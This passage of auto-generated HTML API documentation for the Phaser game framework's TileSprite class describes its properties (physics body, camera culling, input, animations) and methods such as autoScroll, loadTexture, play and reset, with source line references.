<dl>
<table class="props table table-striped">
<thead>
<tr>
<th>Name</th>
<th>Type</th>
<th class="last">Description</th>
</tr>
</thead>
<tbody>
<tr>
<td class="name"><code>animations</code></td>
<td class="type">
<span class="param-type"><a href="Phaser.AnimationManager.html">Phaser.AnimationManager</a></span>
</td>
<td class="description last"><p>This manages animations of the sprite. You can modify animations through it (see Phaser.AnimationManager)</p></td>
</tr>
</tbody>
</table>
</dl>
<dt class="tag-source">Source:</dt>
<dd class="tag-source"><ul class="dummy"><li>
<a href="TileSprite.js.html">gameobjects/TileSprite.js</a>, <a href="TileSprite.js.html#sunlight-1-line-60">line 60</a>
</li></ul></dd>
</dl>
</dd>
<dt>
<h4 class="name" id="autoCull"><span class="type-signature"></span>autoCull<span class="type-signature"></span></h4>
</dt>
<dd>
<div class="description">
<p>Should this Sprite be automatically culled if out of range of the camera?
A culled sprite has its renderable property set to 'false'.
Be advised this is quite an expensive operation, as it has to calculate the bounds of the object every frame, so only enable it if you really need it.</p>
</div>
<dl class="details">
<h5 class="subsection-title">Properties:</h5>
<dl>
<table class="props table table-striped">
<thead>
<tr>
<th>Name</th>
<th>Type</th>
<th class="last">Description</th>
</tr>
</thead>
<tbody>
<tr>
<td class="name"><code>autoCull</code></td>
<td class="type">
<span class="param-type">boolean</span>
</td>
<td class="description last"><p>A flag indicating if the Sprite should be automatically camera culled or not.</p></td>
</tr>
</tbody>
</table>
</dl>
<dt class="tag-default">Default Value:</dt>
<dd class="tag-default"><ul class="dummy"><li>false</li></ul></dd>
<dt class="tag-source">Source:</dt>
<dd class="tag-source"><ul class="dummy"><li>
<a href="TileSprite.js.html">gameobjects/TileSprite.js</a>, <a href="TileSprite.js.html#sunlight-1-line-107">line 107</a>
</li></ul></dd>
</dl>
</dd>
<dt>
<h4 class="name" id="body"><span class="type-signature"></span>body<span class="type-signature"></span></h4>
</dt>
<dd>
<div class="description">
<p>By default Sprites won't add themselves to any physics system and their physics body will be <code>null</code>.
To enable them for physics you need to call <code>game.physics.enable(sprite, system)</code> where <code>sprite</code> is this object
and <code>system</code> is the Physics system you want to use to manage this body. Once enabled you can access all physics related properties via <code>Sprite.body</code>.</p>
<p>Important: Enabling a Sprite for P2 or Ninja physics will automatically set <code>Sprite.anchor</code> to 0.5 so the physics body is centered on the Sprite.
If you need a different result then adjust or re-create the Body shape offsets manually, and/or reset the anchor after enabling physics.</p>
</div>
<dl class="details">
<h5 class="subsection-title">Properties:</h5>
<dl>
<table class="props table table-striped">
<thead>
<tr>
<th>Name</th>
<th>Type</th>
<th class="last">Description</th>
</tr>
</thead>
<tbody>
<tr>
<td class="name"><code>body</code></td>
<td class="type">
<span class="param-type"><a href="Phaser.Physics.Arcade.Body.html">Phaser.Physics.Arcade.Body</a></span>
|
<span class="param-type"><a href="Phaser.Physics.P2.Body.html">Phaser.Physics.P2.Body</a></span>
|
<span class="param-type"><a href="Phaser.Physics.Ninja.Body.html">Phaser.Physics.Ninja.Body</a></span>
|
<span class="param-type">null</span>
</td>
<td class="description last"></td>
</tr>
</tbody>
</table>
</dl>
<dt class="tag-default">Default Value:</dt>
<dd class="tag-default"><ul class="dummy"><li>null</li></ul></dd>
<dt class="tag-source">Source:</dt>
<dd class="tag-source"><ul class="dummy"><li>
<a href="TileSprite.js.html">gameobjects/TileSprite.js</a>, <a href="TileSprite.js.html#sunlight-1-line-134">line 134</a>
</li></ul></dd>
</dl>
</dd>
<dt>
<h4 class="name" id="cameraOffset"><span class="type-signature"></span>cameraOffset<span class="type-signature"></span></h4>
</dt>
<dd>
<dl class="details">
<h5 class="subsection-title">Properties:</h5>
<dl>
<table class="props table table-striped">
<thead>
<tr>
<th>Name</th>
<th>Type</th>
<th class="last">Description</th>
</tr>
</thead>
<tbody>
<tr>
<td class="name"><code>cameraOffset</code></td>
<td class="type">
<span class="param-type"><a href="Phaser.Point.html">Phaser.Point</a></span>
</td>
<td class="description last"><p>If this object is fixedToCamera then this stores the x/y offset that its drawn at, from the top-left of the camera view.</p></td>
</tr>
</tbody>
</table>
</dl>
<dt class="tag-source">Source:</dt>
<dd class="tag-source"><ul class="dummy"><li>
<a href="TileSprite.js.html">gameobjects/TileSprite.js</a>, <a href="TileSprite.js.html#sunlight-1-line-121">line 121</a>
</li></ul></dd>
</dl>
</dd>
<dt>
<h4 class="name" id="checkWorldBounds"><span class="type-signature"></span>checkWorldBounds<span class="type-signature"></span></h4>
</dt>
<dd>
<div class="description">
<p>If true the Sprite checks if it is still within the world each frame, when it leaves the world it dispatches Sprite.events.onOutOfBounds
and optionally kills the sprite (if Sprite.outOfBoundsKill is true). By default this is disabled because the Sprite has to calculate its
bounds every frame to support it, and not all games need it. Enable it by setting the value to true.</p>
</div>
<dl class="details">
<h5 class="subsection-title">Properties:</h5>
<dl>
<table class="props table table-striped">
<thead>
<tr>
<th>Name</th>
<th>Type</th>
<th class="last">Description</th>
</tr>
</thead>
<tbody>
<tr>
<td class="name"><code>checkWorldBounds</code></td>
<td class="type">
<span class="param-type">boolean</span>
</td>
<td class="description last"></td>
</tr>
</tbody>
</table>
</dl>
<dt class="tag-default">Default Value:</dt>
<dd class="tag-default"><ul class="dummy"><li>false</li></ul></dd>
<dt class="tag-source">Source:</dt>
<dd class="tag-source"><ul class="dummy"><li>
<a href="TileSprite.js.html">gameobjects/TileSprite.js</a>, <a href="TileSprite.js.html#sunlight-1-line-116">line 116</a>
</li></ul></dd>
</dl>
</dd>
<dt>
<h4 class="name" id="destroyPhase"><span class="type-signature"></span>destroyPhase<span class="type-signature"></span></h4>
</dt>
<dd>
<dl class="details">
<h5 class="subsection-title">Properties:</h5>
<dl>
<table class="props table table-striped">
<thead>
<tr>
<th>Name</th>
<th>Type</th>
<th class="last">Description</th>
</tr>
</thead>
<tbody>
<tr>
<td class="name"><code>destroyPhase</code></td>
<td class="type">
<span class="param-type">boolean</span>
</td>
<td class="description last"><p>True if this object is currently being destroyed.</p></td>
</tr>
</tbody>
</table>
</dl>
<dt class="tag-source">Source:</dt>
<dd class="tag-source"><ul class="dummy"><li>
<a href="TileSprite.js.html">gameobjects/TileSprite.js</a>, <a href="TileSprite.js.html#sunlight-1-line-779">line 779</a>
</li></ul></dd>
</dl>
</dd>
<dt>
<h4 class="name" id="events"><span class="type-signature"></span>events<span class="type-signature"></span></h4>
</dt>
<dd>
<dl class="details">
<h5 class="subsection-title">Properties:</h5>
<dl>
<table class="props table table-striped">
<thead>
<tr>
<th>Name</th>
<th>Type</th>
<th class="last">Description</th>
</tr>
</thead>
<tbody>
<tr>
<td class="name"><code>events</code></td>
<td class="type">
<span class="param-type"><a href="Phaser.Events.html">Phaser.Events</a></span>
</td>
<td class="description last"><p>The Events you can subscribe to that are dispatched when certain things happen on this Sprite or its components.</p></td>
</tr>
</tbody>
</table>
</dl>
<dt class="tag-source">Source:</dt>
<dd class="tag-source"><ul class="dummy"><li>
<a href="TileSprite.js.html">gameobjects/TileSprite.js</a>, <a href="TileSprite.js.html#sunlight-1-line-55">line 55</a>
</li></ul></dd>
</dl>
</dd>
<dt>
<h4 class="name" id="exists"><span class="type-signature"></span>exists<span class="type-signature"></span></h4>
</dt>
<dd>
<div class="description">
<p>TileSprite.exists controls if the core game loop and physics update this TileSprite or not.
When you set TileSprite.exists to false it will remove its Body from the physics world (if it has one) and also set TileSprite.visible to false.
Setting TileSprite.exists to true will re-add the Body to the physics world (if it has a body) and set TileSprite.visible to true.</p>
</div>
<dl class="details">
<h5 class="subsection-title">Properties:</h5>
<dl>
<table class="props table table-striped">
<thead>
<tr>
<th>Name</th>
<th>Type</th>
<th class="last">Description</th>
</tr>
</thead>
<tbody>
<tr>
<td class="name"><code>exists</code></td>
<td class="type">
<span class="param-type">boolean</span>
</td>
<td class="description last"><p>If the TileSprite is processed by the core game update and physics.</p></td>
</tr>
</tbody>
</table>
</dl>
<dt class="tag-source">Source:</dt>
<dd class="tag-source"><ul class="dummy"><li>
<a href="TileSprite.js.html">gameobjects/TileSprite.js</a>, <a href="TileSprite.js.html#sunlight-1-line-637">line 637</a>
</li></ul></dd>
</dl>
</dd>
<dt>
<h4 class="name" id="fixedToCamera"><span class="type-signature"></span>fixedToCamera<span class="type-signature"></span></h4>
</dt>
<dd>
<div class="description">
<p>An TileSprite that is fixed to the camera uses its x/y coordinates as offsets from the top left of the camera. These are stored in TileSprite.cameraOffset.
Note that the cameraOffset values are in addition to any parent in the display list.
So if this TileSprite was in a Group that has x: 200, then this will be added to the cameraOffset.x</p>
</div>
<dl class="details">
<h5 class="subsection-title">Properties:</h5>
<dl>
<table class="props table table-striped">
<thead>
<tr>
<th>Name</th>
<th>Type</th>
<th class="last">Description</th>
</tr>
</thead>
<tbody>
<tr>
<td class="name"><code>fixedToCamera</code></td>
<td class="type">
<span class="param-type">boolean</span>
</td>
<td class="description last"><p>Set to true to fix this TileSprite to the Camera at its current world coordinates.</p></td>
</tr>
</tbody>
</table>
</dl>
<dt class="tag-source">Source:</dt>
<dd class="tag-source"><ul class="dummy"><li>
<a href="TileSprite.js.html">gameobjects/TileSprite.js</a>, <a href="TileSprite.js.html#sunlight-1-line-606">line 606</a>
</li></ul></dd>
</dl>
</dd>
<dt>
<h4 class="name" id="frame"><span class="type-signature"></span>frame<span class="type-signature"></span></h4>
</dt>
<dd>
<dl class="details">
<h5 class="subsection-title">Properties:</h5>
<dl>
<table class="props table table-striped">
<thead>
<tr>
<th>Name</th>
<th>Type</th>
<th class="last">Description</th>
</tr>
</thead>
<tbody>
<tr>
<td class="name"><code>frame</code></td>
<td class="type">
<span class="param-type">number</span>
</td>
<td class="description last"><p>Gets or sets the current frame index and updates the Texture Cache for display.</p></td>
</tr>
</tbody>
</table>
</dl>
<dt class="tag-source">Source:</dt>
<dd class="tag-source"><ul class="dummy"><li>
<a href="TileSprite.js.html">gameobjects/TileSprite.js</a>, <a href="TileSprite.js.html#sunlight-1-line-564">line 564</a>
</li></ul></dd>
</dl>
</dd>
<dt>
<h4 class="name" id="frameName"><span class="type-signature"></span>frameName<span class="type-signature"></span></h4>
</dt>
<dd>
<dl class="details">
<h5 class="subsection-title">Properties:</h5>
<dl>
<table class="props table table-striped">
<thead>
<tr>
<th>Name</th>
<th>Type</th>
<th class="last">Description</th>
</tr>
</thead>
<tbody>
<tr>
<td class="name"><code>frameName</code></td>
<td class="type">
<span class="param-type">string</span>
</td>
<td class="description last"><p>Gets or sets the current frame name and updates the Texture Cache for display.</p></td>
</tr>
</tbody>
</table>
</dl>
<dt class="tag-source">Source:</dt>
<dd class="tag-source"><ul class="dummy"><li>
<a href="TileSprite.js.html">gameobjects/TileSprite.js</a>, <a href="TileSprite.js.html#sunlight-1-line-585">line 585</a>
</li></ul></dd>
</dl>
</dd>
<dt>
<h4 class="name" id="game"><span class="type-signature"></span>game<span class="type-signature"></span></h4>
</dt>
<dd>
<dl class="details">
<h5 class="subsection-title">Properties:</h5>
<dl>
<table class="props table table-striped">
<thead>
<tr>
<th>Name</th>
<th>Type</th>
<th class="last">Description</th>
</tr>
</thead>
<tbody>
<tr>
<td class="name"><code>game</code></td>
<td class="type">
<span class="param-type"><a href="Phaser.Game.html">Phaser.Game</a></span>
</td>
<td class="description last"><p>A reference to the currently running Game.</p></td>
</tr>
</tbody>
</table>
</dl>
<dt class="tag-source">Source:</dt>
<dd class="tag-source"><ul class="dummy"><li>
<a href="TileSprite.js.html">gameobjects/TileSprite.js</a>, <a href="TileSprite.js.html#sunlight-1-line-33">line 33</a>
</li></ul></dd>
</dl>
</dd>
<dt>
<h4 class="name" id="input"><span class="type-signature"></span>input<span class="type-signature"></span></h4>
</dt>
<dd>
<dl class="details">
<h5 class="subsection-title">Properties:</h5>
<dl>
<table class="props table table-striped">
<thead>
<tr>
<th>Name</th>
<th>Type</th>
<th class="last">Description</th>
</tr>
</thead>
<tbody>
<tr>
<td class="name"><code>input</code></td>
<td class="type">
<span class="param-type"><a href="Phaser.InputHandler.html">Phaser.InputHandler</a></span>
|
<span class="param-type">null</span>
</td>
<td class="description last"><p>The Input Handler for this object. Needs to be enabled with image.inputEnabled = true before you can use it.</p></td>
</tr>
</tbody>
</table>
</dl>
<dt class="tag-source">Source:</dt>
<dd class="tag-source"><ul class="dummy"><li>
<a href="TileSprite.js.html">gameobjects/TileSprite.js</a>, <a href="TileSprite.js.html#sunlight-1-line-92">line 92</a>
</li></ul></dd>
</dl>
</dd>
<dt>
<h4 class="name" id="inputEnabled"><span class="type-signature"></span>inputEnabled<span class="type-signature"></span></h4>
</dt>
<dd>
<div class="description">
<p>By default a TileSprite won't process any input events at all. By setting inputEnabled to true the Phaser.InputHandler is
activated for this object and it will then start to process click/touch events and more.</p>
</div>
<dl class="details">
<h5 class="subsection-title">Properties:</h5>
<dl>
<table class="props table table-striped">
<thead>
<tr>
<th>Name</th>
<th>Type</th>
<th class="last">Description</th>
</tr>
</thead>
<tbody>
<tr>
<td class="name"><code>inputEnabled</code></td>
<td class="type">
<span class="param-type">boolean</span>
</td>
<td class="description last"><p>Set to true to allow this object to receive input events.</p></td>
</tr>
</tbody>
</table>
</dl>
<dt class="tag-source">Source:</dt>
<dd class="tag-source"><ul class="dummy"><li>
<a href="TileSprite.js.html">gameobjects/TileSprite.js</a>, <a href="TileSprite.js.html#sunlight-1-line-684">line 684</a>
</li></ul></dd>
</dl>
</dd>
<dt>
<h4 class="name" id="key"><span class="type-signature"></span>key<span class="type-signature"></span></h4>
</dt>
<dd>
<dl class="details">
<h5 class="subsection-title">Properties:</h5>
<dl>
<table class="props table table-striped">
<thead>
<tr>
<th>Name</th>
<th>Type</th>
<th class="last">Description</th>
</tr>
</thead>
<tbody>
<tr>
<td class="name"><code>key</code></td>
<td class="type">
<span class="param-type">string</span>
|
<span class="param-type"><a href="Phaser.RenderTexture.html">Phaser.RenderTexture</a></span>
|
<span class="param-type"><a href="Phaser.BitmapData.html">Phaser.BitmapData</a></span>
|
<span class="param-type">PIXI.Texture</span>
</td>
<td class="description last"><p>This is the image or texture used by the Sprite during rendering. It can be a string which is a reference to the Cache entry, or an instance of a RenderTexture, BitmapData or PIXI.Texture.</p></td>
</tr>
</tbody>
</table>
</dl>
<dt class="tag-source">Source:</dt>
<dd class="tag-source"><ul class="dummy"><li>
<a href="TileSprite.js.html">gameobjects/TileSprite.js</a>, <a href="TileSprite.js.html#sunlight-1-line-65">line 65</a>
</li></ul></dd>
</dl>
</dd>
<dt>
<h4 class="name" id="name"><span class="type-signature"></span>name<span class="type-signature"></span></h4>
</dt>
<dd>
<dl class="details">
<h5 class="subsection-title">Properties:</h5>
<dl>
<table class="props table table-striped">
<thead>
<tr>
<th>Name</th>
<th>Type</th>
<th class="last">Description</th>
</tr>
</thead>
<tbody>
<tr>
<td class="name"><code>name</code></td>
<td class="type">
<span class="param-type">string</span>
</td>
<td class="description last"><p>The user defined name given to this Sprite.</p></td>
</tr>
</tbody>
</table>
</dl>
<dt class="tag-source">Source:</dt>
<dd class="tag-source"><ul class="dummy"><li>
<a href="TileSprite.js.html">gameobjects/TileSprite.js</a>, <a href="TileSprite.js.html#sunlight-1-line-39">line 39</a>
</li></ul></dd>
</dl>
</dd>
<dt>
<h4 class="name" id="type"><span class="type-signature"><readonly> </span>type<span class="type-signature"></span></h4>
</dt>
<dd>
<dl class="details">
<h5 class="subsection-title">Properties:</h5>
<dl>
<table class="props table table-striped">
<thead>
<tr>
<th>Name</th>
<th>Type</th>
<th class="last">Description</th>
</tr>
</thead>
<tbody>
<tr>
<td class="name"><code>type</code></td>
<td class="type">
<span class="param-type">number</span>
</td>
<td class="description last"><p>The const type of this object.</p></td>
</tr>
</tbody>
</table>
</dl>
<dt class="tag-source">Source:</dt>
<dd class="tag-source"><ul class="dummy"><li>
<a href="TileSprite.js.html">gameobjects/TileSprite.js</a>, <a href="TileSprite.js.html#sunlight-1-line-45">line 45</a>
</li></ul></dd>
</dl>
</dd>
<dt>
<h4 class="name" id="world"><span class="type-signature"></span>world<span class="type-signature"></span></h4>
</dt>
<dd>
<dl class="details">
<h5 class="subsection-title">Properties:</h5>
<dl>
<table class="props table table-striped">
<thead>
<tr>
<th>Name</th>
<th>Type</th>
<th class="last">Description</th>
</tr>
</thead>
<tbody>
<tr>
<td class="name"><code>world</code></td>
<td class="type">
<span class="param-type"><a href="Phaser.Point.html">Phaser.Point</a></span>
</td>
<td class="description last"><p>The world coordinates of this Sprite. This differs from the x/y coordinates which are relative to the Sprites container.</p></td>
</tr>
</tbody>
</table>
</dl>
<dt class="tag-source">Source:</dt>
<dd class="tag-source"><ul class="dummy"><li>
<a href="TileSprite.js.html">gameobjects/TileSprite.js</a>, <a href="TileSprite.js.html#sunlight-1-line-97">line 97</a>
</li></ul></dd>
</dl>
</dd>
<dt>
<h4 class="name" id="x"><span class="type-signature"></span>x<span class="type-signature"></span></h4>
</dt>
<dd>
<div class="description">
<p>The position of the TileSprite on the x axis relative to the local coordinates of the parent.</p>
</div>
<dl class="details">
<h5 class="subsection-title">Properties:</h5>
<dl>
<table class="props table table-striped">
<thead>
<tr>
<th>Name</th>
<th>Type</th>
<th class="last">Description</th>
</tr>
</thead>
<tbody>
<tr>
<td class="name"><code>x</code></td>
<td class="type">
<span class="param-type">number</span>
</td>
<td class="description last"><p>The position of the TileSprite on the x axis relative to the local coordinates of the parent.</p></td>
</tr>
</tbody>
</table>
</dl>
<dt class="tag-source">Source:</dt>
<dd class="tag-source"><ul class="dummy"><li>
<a href="TileSprite.js.html">gameobjects/TileSprite.js</a>, <a href="TileSprite.js.html#sunlight-1-line-725">line 725</a>
</li></ul></dd>
</dl>
</dd>
<dt>
<h4 class="name" id="y"><span class="type-signature"></span>y<span class="type-signature"></span></h4>
</dt>
<dd>
<div class="description">
<p>The position of the TileSprite on the y axis relative to the local coordinates of the parent.</p>
</div>
<dl class="details">
<h5 class="subsection-title">Properties:</h5>
<dl>
<table class="props table table-striped">
<thead>
<tr>
<th>Name</th>
<th>Type</th>
<th class="last">Description</th>
</tr>
</thead>
<tbody>
<tr>
<td class="name"><code>y</code></td>
<td class="type">
<span class="param-type">number</span>
</td>
<td class="description last"><p>The position of the TileSprite on the y axis relative to the local coordinates of the parent.</p></td>
</tr>
</tbody>
</table>
</dl>
<dt class="tag-source">Source:</dt>
<dd class="tag-source"><ul class="dummy"><li>
<a href="TileSprite.js.html">gameobjects/TileSprite.js</a>, <a href="TileSprite.js.html#sunlight-1-line-752">line 752</a>
</li></ul></dd>
</dl>
</dd>
<dt>
<h4 class="name" id="z"><span class="type-signature"></span>z<span class="type-signature"></span></h4>
</dt>
<dd>
<dl class="details">
<h5 class="subsection-title">Properties:</h5>
<dl>
<table class="props table table-striped">
<thead>
<tr>
<th>Name</th>
<th>Type</th>
<th class="last">Description</th>
</tr>
</thead>
<tbody>
<tr>
<td class="name"><code>z</code></td>
<td class="type">
<span class="param-type">number</span>
</td>
<td class="description last"><p>The z-depth value of this object within its Group (remember the World is a Group as well). No two objects in a Group can have the same z value.</p></td>
</tr>
</tbody>
</table>
</dl>
<dt class="tag-source">Source:</dt>
<dd class="tag-source"><ul class="dummy"><li>
<a href="TileSprite.js.html">gameobjects/TileSprite.js</a>, <a href="TileSprite.js.html#sunlight-1-line-50">line 50</a>
</li></ul></dd>
</dl>
</dd>
</dl>
<h3 class="subsection-title">Methods</h3>
<dl>
<dt>
<h4 class="name" id="autoScroll"><span class="type-signature"></span>autoScroll<span class="signature">()</span><span class="type-signature"></span></h4>
</dt>
<dd>
<div class="description">
<p>Sets this TileSprite to automatically scroll in the given direction until stopped via TileSprite.stopScroll().
The scroll speed is specified in pixels per second.
A negative x value will scroll to the left. A positive x value will scroll to the right.
A negative y value will scroll up. A positive y value will scroll down.</p>
</div>
<dl class="details">
<dt class="tag-source">Source:</dt>
<dd class="tag-source"><ul class="dummy"><li>
<a href="TileSprite.js.html">gameobjects/TileSprite.js</a>, <a href="TileSprite.js.html#sunlight-1-line-297">line 297</a>
</li></ul></dd>
</dl>
</dd>
<dt>
<h4 class="name" id="destroy"><span class="type-signature"></span>destroy<span class="signature">(<span class="optional">destroyChildren</span>)</span><span class="type-signature"></span></h4>
</dt>
<dd>
<div class="description">
<p>Destroys the TileSprite. This removes it from its parent group, destroys the event and animation handlers if present
and nulls its reference to game, freeing it up for garbage collection.</p>
</div>
<h5>Parameters:</h5>
<table class="params table table-striped">
<thead>
<tr>
<th>Name</th>
<th>Type</th>
<th>Argument</th>
<th>Default</th>
<th class="last">Description</th>
</tr>
</thead>
<tbody>
<tr>
<td class="name"><code>destroyChildren</code></td>
<td class="type">
<span class="param-type">boolean</span>
</td>
<td class="attributes">
<optional><br>
</td>
<td class="default">
true
</td>
<td class="description last"><p>Should every child of this object have its destroy method called?</p></td>
</tr>
</tbody>
</table>
<dl class="details">
<dt class="tag-source">Source:</dt>
<dd class="tag-source"><ul class="dummy"><li>
<a href="TileSprite.js.html">gameobjects/TileSprite.js</a>, <a href="TileSprite.js.html#sunlight-1-line-421">line 421</a>
</li></ul></dd>
</dl>
</dd>
<dt>
<h4 class="name" id="loadTexture"><span class="type-signature"></span>loadTexture<span class="signature">(key, frame)</span><span class="type-signature"></span></h4>
</dt>
<dd>
<div class="description">
<p>Changes the Texture the TileSprite is using entirely. The old texture is removed and the new one is referenced or fetched from the Cache.
This causes a WebGL texture update, so use sparingly or in low-intensity portions of your game.</p>
</div>
<h5>Parameters:</h5>
<table class="params table table-striped">
<thead>
<tr>
<th>Name</th>
<th>Type</th>
<th class="last">Description</th>
</tr>
</thead>
<tbody>
<tr>
<td class="name"><code>key</code></td>
<td class="type">
<span class="param-type">string</span>
|
<span class="param-type"><a href="Phaser.RenderTexture.html">Phaser.RenderTexture</a></span>
|
<span class="param-type"><a href="Phaser.BitmapData.html">Phaser.BitmapData</a></span>
|
<span class="param-type">PIXI.Texture</span>
</td>
<td class="description last"><p>This is the image or texture used by the TileSprite during rendering. It can be a string which is a reference to the Cache entry, or an instance of a RenderTexture, BitmapData or PIXI.Texture.</p></td>
</tr>
<tr>
<td class="name"><code>frame</code></td>
<td class="type">
<span class="param-type">string</span>
|
<span class="param-type">number</span>
</td>
<td class="description last"><p>If this TileSprite is using part of a sprite sheet or texture atlas you can specify the exact frame to use by giving a string or numeric index.</p></td>
</tr>
</tbody>
</table>
<dl class="details">
<dt class="tag-source">Source:</dt>
<dd class="tag-source"><ul class="dummy"><li>
<a href="TileSprite.js.html">gameobjects/TileSprite.js</a>, <a href="TileSprite.js.html#sunlight-1-line-324">line 324</a>
</li></ul></dd>
</dl>
</dd>
<dt>
<h4 class="name" id="play"><span class="type-signature"></span>play<span class="signature">(name, <span class="optional">frameRate</span>, <span class="optional">loop</span>, <span class="optional">killOnComplete</span>)</span><span class="type-signature"> → {<a href="Phaser.Animation.html">Phaser.Animation</a>}</span></h4>
</dt>
<dd>
<div class="description">
<p>Play an animation based on the given key. The animation should previously have been added via sprite.animations.add()
If the requested animation is already playing this request will be ignored. If you need to reset an already running animation do so directly on the Animation object itself.</p>
</div>
<h5>Parameters:</h5>
<table class="params table table-striped">
<thead>
<tr>
<th>Name</th>
<th>Type</th>
<th>Argument</th>
<th>Default</th>
<th class="last">Description</th>
</tr>
</thead>
<tbody>
<tr>
<td class="name"><code>name</code></td>
<td class="type">
<span class="param-type">string</span>
</td>
<td class="attributes">
</td>
<td class="default">
</td>
<td class="description last"><p>The name of the animation to be played, e.g. "fire", "walk", "jump".</p></td>
</tr>
<tr>
<td class="name"><code>frameRate</code></td>
<td class="type">
<span class="param-type">number</span>
</td>
<td class="attributes">
<optional><br>
</td>
<td class="default">
null
</td>
<td class="description last"><p>The framerate to play the animation at. The speed is given in frames per second. If not provided the previously set frameRate of the Animation is used.</p></td>
</tr>
<tr>
<td class="name"><code>loop</code></td>
<td class="type">
<span class="param-type">boolean</span>
</td>
<td class="attributes">
<optional><br>
</td>
<td class="default">
false
</td>
<td class="description last"><p>Should the animation be looped after playback. If not provided the previously set loop value of the Animation is used.</p></td>
</tr>
<tr>
<td class="name"><code>killOnComplete</code></td>
<td class="type">
<span class="param-type">boolean</span>
</td>
<td class="attributes">
<optional><br>
</td>
<td class="default">
false
</td>
<td class="description last"><p>If set to true when the animation completes (only happens if loop=false) the parent Sprite will be killed.</p></td>
</tr>
</tbody>
</table>
<dl class="details">
<dt class="tag-source">Source:</dt>
<dd class="tag-source"><ul class="dummy"><li>
<a href="TileSprite.js.html">gameobjects/TileSprite.js</a>, <a href="TileSprite.js.html#sunlight-1-line-486">line 486</a>
</li></ul></dd>
</dl>
<h5>Returns:</h5>
<div class="param-desc">
<p>A reference to playing Animation instance.</p>
</div>
<dl>
<dt>
Type
</dt>
<dd>
<span class="param-type"><a href="Phaser.Animation.html">Phaser.Animation</a></span>
</dd>
</dl>
</dd>
<dt>
<h4 class="name" id="postUpdate"><span class="type-signature"></span>postUpdate<span class="signature">()</span><span class="type-signature"></span></h4>
</dt>
<dd>
<div class="description">
<p>Internal function called by the World postUpdate cycle.</p>
</div>
<dl class="details">
<dt class="tag-source">Source:</dt>
<dd class="tag-source"><ul class="dummy"><li>
<a href="TileSprite.js.html">gameobjects/TileSprite.js</a>, <a href="TileSprite.js.html#sunlight-1-line-269">line 269</a>
</li></ul></dd>
</dl>
</dd>
<dt>
<h4 class="name" id="preUpdate"><span class="type-signature"></span>preUpdate<span class="signature">()</span><span class="type-signature"></span></h4>
</dt>
<dd>
<div class="description">
<p>Automatically called by World.preUpdate.</p>
</div>
<dl class="details">
<dt class="tag-source">Source:</dt>
<dd class="tag-source"><ul class="dummy"><li>
<a href="TileSprite.js.html">gameobjects/TileSprite.js</a>, <a href="TileSprite.js.html#sunlight-1-line-159">line 159</a>
</li></ul></dd>
</dl>
</dd>
<dt>
<h4 class="name" id="reset"><span class="type-signature"></span>reset<span class="signature">(x, y)</span><span class="type-signature"></span></h4>
</dt>
<dd>
<div class="description">
<p>Resets the TileSprite. This places the TileSprite at the given x/y world coordinates, resets the tilePosition and then
sets alive, exists, visible and renderable all to true. Also resets the outOfBounds state.
If the TileSprite has a physics body that too is reset.</p>
</div>
<h5>Parameters:</h5>
<table class="params table table-striped">
<thead>
<tr>
<th>Name</th>
<th>Type</th>
<th class="last">Description</th>
</tr>
</thead>
<tbody>
<tr>
<td class="name"><code>x</code></td>
<td class="type">
<span class="param-type">number</span>
</td>
<td class="description last"><p>The x coordinate (in world space) to position the Sprite at.</p></td>
</tr>
<tr>
<td class="name"><code>y</code></td>
<td class="type">
<span class="param-type">number</span>
</td>
<td class="description last"><p>The y coordinate (in world space) to position the Sprite at.</p></td>
</tr>
</tbody>
</table>
<dl class="details">
<dt class="tag-source">Source:</dt>
<dd class="tag-source"><ul class="dummy"><li>
<a href="TileSprite.js.html">gameobjects/TileSprite.js</a>, <a href="TileSprite.js.html#sunlight-1-line-504">line 504</a>
</li></ul></dd>
</dl>
<h5>Returns:</h5>
<div class="param-desc">
<p>(Phaser.TileSprite) This instance.</p>
</div>
</dd>
<dt>
<h4 class="name" id="setFrame"><span class="type-signature"></span>setFrame<span class="signature">(frame)</span><span class="type-signature"></span></h4>
</dt>
<dd>
<div class="description">
<p>Sets the Texture frame the TileSprite uses for rendering.
This is primarily an internal method used by TileSprite.loadTexture, although you may call it directly.</p>
</div>
<h5>Parameters:</h5>
<table class="params table table-striped">
<thead>
<tr>
<th>Name</th>
<th>Type</th>
<th class="last">Description</th>
</tr>
</thead>
<tbody>
<tr>
<td class="name"><code>frame</code></td>
<td class="type">
<span class="param-type"><a href="Phaser.Frame.html">Phaser.Frame</a></span>
</td>
<td class="description last"><p>The Frame to be used by the TileSprite texture.</p></td>
</tr>
</tbody>
</table>
<dl class="details">
<dt class="tag-source">Source:</dt>
<dd class="tag-source"><ul class="dummy"><li>
<a href="TileSprite.js.html">gameobjects/TileSprite.js</a>, <a href="TileSprite.js.html#sunlight-1-line-374">line 374</a>
</li></ul></dd>
</dl>
</dd>
<dt>
<h4 class="name" id="stopScroll"><span class="type-signature"></span>stopScroll<span class="signature">()</span><span class="type-signature"></span></h4>
</dt>
<dd>
<div class="description">
<p>Stops an automatically scrolling TileSprite.</p>
</div>
<dl class="details">
<dt class="tag-source">Source:</dt>
<dd class="tag-source"><ul class="dummy"><li>
<a href="TileSprite.js.html">gameobjects/TileSprite.js</a>, <a href="TileSprite.js.html#sunlight-1-line-312">line 312</a>
</li></ul></dd>
</dl>
</dd>
<dt>
<h4 class="name" id="update"><span class="type-signature"></span>update<span class="signature">()</span><span class="type-signature"></span></h4>
</dt>
<dd>
<div class="description">
<p>Override and use this function in your own custom objects to handle any update requirements you may have.</p>
</div>
<dl class="details">
<dt class="tag-source">Source:</dt>
<dd class="tag-source"><ul class="dummy"><li>
<a href="TileSprite.js.html">gameobjects/TileSprite.js</a>, <a href="TileSprite.js.html#sunlight-1-line-259">line 259</a>
</li></ul></dd>
</dl>
</dd>
</dl>
</article>
</section>
</div>
<div class="clearfix"></div>
<footer>
<span class="copyright">
Phaser Copyright © 2012-2014 Photon Storm Ltd.
</span>
<br />
<span class="jsdoc-message">
Documentation generated by <a href="https://github.com/jsdoc3/jsdoc">JSDoc 3.3.0-dev</a>
on Fri Jul 18 2014 12:36:57 GMT+0100 (BST) using the <a href="https://github.com/terryweiss/docstrap">DocStrap template</a>.
</span>
</footer>
</div>
<div class="span3">
<div id="toc"></div>
</div>
<br clear="both">
</div>
</div>
<script src="scripts/sunlight.js"></script>
<script src="scripts/sunlight.javascript.js"></script>
<script src="scripts/sunlight-plugin.doclinks.js"></script>
<script src="scripts/sunlight-plugin.linenumbers.js"></script>
<script src="scripts/sunlight-plugin.menu.js"></script>
<script src="scripts/jquery.min.js"></script>
<script src="scripts/jquery.scrollTo.js"></script>
